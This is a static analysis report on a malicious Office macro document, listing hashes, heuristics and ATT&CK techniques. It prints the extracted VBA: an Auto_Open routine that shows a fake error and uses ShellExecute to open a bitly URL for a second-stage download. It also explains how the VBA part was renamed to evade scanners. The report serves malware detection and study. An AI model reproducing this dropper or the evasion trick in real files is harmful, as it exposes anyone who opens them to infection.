Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0cabc6544bb554fc…

MALICIOUS

Office (OOXML)

8.2 KB First seen: 2021-10-23
MD5: 7659d46dbf1d34e7833e4b0b2968f281 SHA-1: 05f65097aefb7a9c8269ef63d7aec4764079b970 SHA-256: 0cabc6544bb554fc6900c766ade30bee9bd403f64231e87b65fc9182128d7515
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File: User Execution

The sample contains a VBA macro with an Auto_Open subroutine that is triggered when the document is opened. This macro uses CreateObject to instantiate Shell.Application and then calls ShellExecute to open the URL "https://www.bitly.com/ajdwwdwdrufhjwijjd". This indicates an attempt to download and execute a second-stage payload.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/aksdokasodkas.b)
  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim objShell
        Set objShell = CreateObject("Shell.Application")
        Call objShell.ShellExecute(k1.k2.Tag, "https://www.bitly.com/ajdwwdwdrufhjwijjd", "", "open", 1)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module11"
    Sub Auto_Open()
    MsgBox "Error!!"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/ajdwwdwdrufhjwijjd In document text (OOXML body / shared strings)
    • https://www.bitly.com/ajdwwdwdrufhjwijjd�In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 593 bytes
SHA-256: e20b0ebac68fc5685cc3169e2a4bed34f8ef521c360ebac849313356d957e527
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "k1"
Attribute VB_Base = "0{403E30EB-1C85-423B-8B50-3F8C1D2242B8}{AA7DE0A2-563F-48EA-9BA6-0747637603A6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Attribute VB_Name = "Module11"
Sub Auto_Open()
MsgBox "Error!!"
    Dim objShell
    Set objShell = CreateObject("Shell.Application")
    Call objShell.ShellExecute(k1.k2.Tag, "https://www.bitly.com/ajdwwdwdrufhjwijjd", "", "open", 1)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/aksdokasodkas.b 18944 bytes
SHA-256: 95e9ffdb4408d0127addb2b0b93af237dafeca48dbdfeec35fe7f962a21aa098